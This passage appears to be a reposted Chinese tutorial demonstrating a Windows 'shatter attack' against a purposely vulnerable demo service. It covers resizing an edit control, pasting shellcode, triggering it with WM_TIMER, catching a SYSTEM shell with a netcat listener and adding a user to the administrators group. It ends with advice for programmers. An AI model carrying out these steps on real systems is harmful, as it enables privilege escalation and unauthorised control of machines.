  这个对话框上有两个edit controls,一个对应着“number of hit”,这里输出simpleservice的named pipe被访问的次数;一个对应着“message back”,这里输出simpleservice的message。这两个edit都可以被攻击利用,不过我这里以“message back”的edit为例。让我们运行foon的攻击程序shatter:

  第一步:我们需要扩大edit的尺寸(size)。大家从simpleservice的源程序中可以看到,“message back”的edit只允许40个char,而jill的黑客码显然超过了这个长度,所以我们就通过shatter向这个edit的柄handler发送em_setlimitext,把它的尺寸扩大到0xffffffff(见下图)。

  第二步:把foon改编的jill黑客码拷贝到clipboard上,然后往edit发送wm_paste,你可以看到edit中马上堆积了一长串乱七八糟的字符,这就是jill黑客码。

  第三步:利用windbg去寻找jill黑客码在window内存中的地址,这个过程foon已经讲得很清楚了,所以就不用我罗嗦了。在dallas上我得到的地址是在0x1389c0附近。

  第四步:另外打开一个dos窗口运行netcat,我们准备与打入敌营的侦察兵jill联络:

  d:\myjob\tool\netcat>

  d:\myjob\tool\netcat>nc -lp 123

  第五步:向edit发送wm_timer,让window进程跳去执行从0x1389c0开始的黑客码。你马上就能看到netcat开始收到了jill发回来的内容,它输出一些版权信息。

  d:\myjob\tool\netcat>

  d:\myjob\tool\netcat>nc -lp 123

  microsoft windows 2000 [version 5.00.2195]

  (c) copyright 1985-1999 microsoft corp.

  第六步: 现在你就可以通过netcat与window进程中的cmd shell联系,可以向它发送命令,从它那里得到命令运行结果。这个cmd shell具有local system的权限,所以我们可以轻易地把普通用户“moda”加入到本地administrators组中:

  d:\winnt\system32>net localgroup administrators /add moda

  net localgroup administrators /add moda

  the command completed successfully.

  d:\winnt\system32>net localgroup administrators

  net localgroup administrators

  alias name administrators

  comment administrators have complete and unrestricted access to the members

  -----------------------------------------------------------------------------

  administrator moda

  the command completed successfully.

  d:\winnt\system32>

  d:\winnt\system32>

  以上就是我演示microsoft这个缺陷的过程,虽说我有意把simpleservic设计得易于黑客攻击,但实际上还有不少的流行的程序也是犯了同样的错误,象foon文章中提及的network associates virusscan v4.5.1, 还有我最喜欢用的winvnc等等,它们都在普通用户的desktop上创建了一个具有local system权限的window。

  各位,编程序时要记住不要在阿猫阿狗的desktop上创建window啊!如果你给它们机会,阿猫阿狗也会成精的!

   结尾的话:

  提升权限的方法还有很多种,比如说可以直接用破密码的软件来获得administrator的密码、可以利用系统进程缓冲区溢出来运行更高权限的黑客码等等,我这里只是挂一漏万地介绍其中几个。


文章整理:西部数码--专业提供域名注册虚拟主机服务
http://www.west263.com
以上信息与文章正文是不可分割的一部分,如果您要转载本文章,请保留以上信息,谢谢!
相关主题
文章页数:[1] 
Google
热门文章
·如何使XP的目录属性出现"安全"选项-ASP教程,系统相关
·创建有个性的对话框之MFC篇(二)-ASP教程,系统相关
·用InstallShield打包ASP程序-ASP教程,ASP应用
·windows server 2003 中 SQL Server 2000 分布式事务 错误解决方法-ASP教程,系统相关
·创建有个性的对话框之MFC篇(一)-ASP教程,系统相关
·DevExpress打印相关代码-ASP教程,打印相关
·File文件控件,选中文件(图片,flash,视频)即立即预览显示-ASP教程,组件开发
·用Windows的文件映射机制,实现大批量数据的快速存储-ASP教程,系统相关
·ADO如何取得数据库中表的字段信息之一
·使用DEVEXPRESS部件打印时标题的处理-ASP教程,打印相关

最新文章
· SQL注入天书 - ASP注入漏洞全接触
·用.net 处理xmlHttp发送异步请求
·asp.net创建文件夹的IO类的问题
·如何实现ASP.NET网站个性化
·关于ASP.NET调用JavaScript的实现
·ASP利用Google实现在线翻译功能
·Asp无组件生成缩略图
·由HTTP 500 Internal server error想到的...
·实例讲解asp抓取网上房产信息
·改mdb为asp所带来的灾难


 
 


版权申明:本站文章均来自网络,如有侵权,请联系我们,我们收到后立即删除,谢谢!

特别注意:本站所有转载文章言论不代表本站观点,本站所提供的摄影照片,插画,设计作品,如需使用,请与原作者联系,版权归原作者所有。
  打印  刷新  关闭
返回首页 |关于我们 | 联系我们 | 付款方式 | 创业联盟 | 虚拟主机 | 资讯中心 | 友情链接 | 网站地图

版权所有 西部数码(www.west263.com)
CopyRight (c) 2002~2006 west263.com all right reserved.
公司地址:四川成都市万和路90号天象大厦4楼 邮编:610031
电话总机:028-86262244 86263048 86263408 86263960 86264018 86267838
售前咨询:总机转201 202 203 204 206 208
售后服务:总机转211 212 213 214
财务咨询:总机转224 223 传真:028-86264041 财务QQ:点击发送消息给对方635483282
售前咨询QQ:点击发送消息给对方2182518 点击发送消息给对方241975952 点击发送消息给对方275026793 点击发送消息给对方408235859
售后服务QQ:点击发送消息给对方17708515 点击发送消息给对方307742704 点击发送消息给对方287976517 点击发送消息给对方363783715
《中华人民共和国增值电信业务经营许可证》编号:川B2-20030065号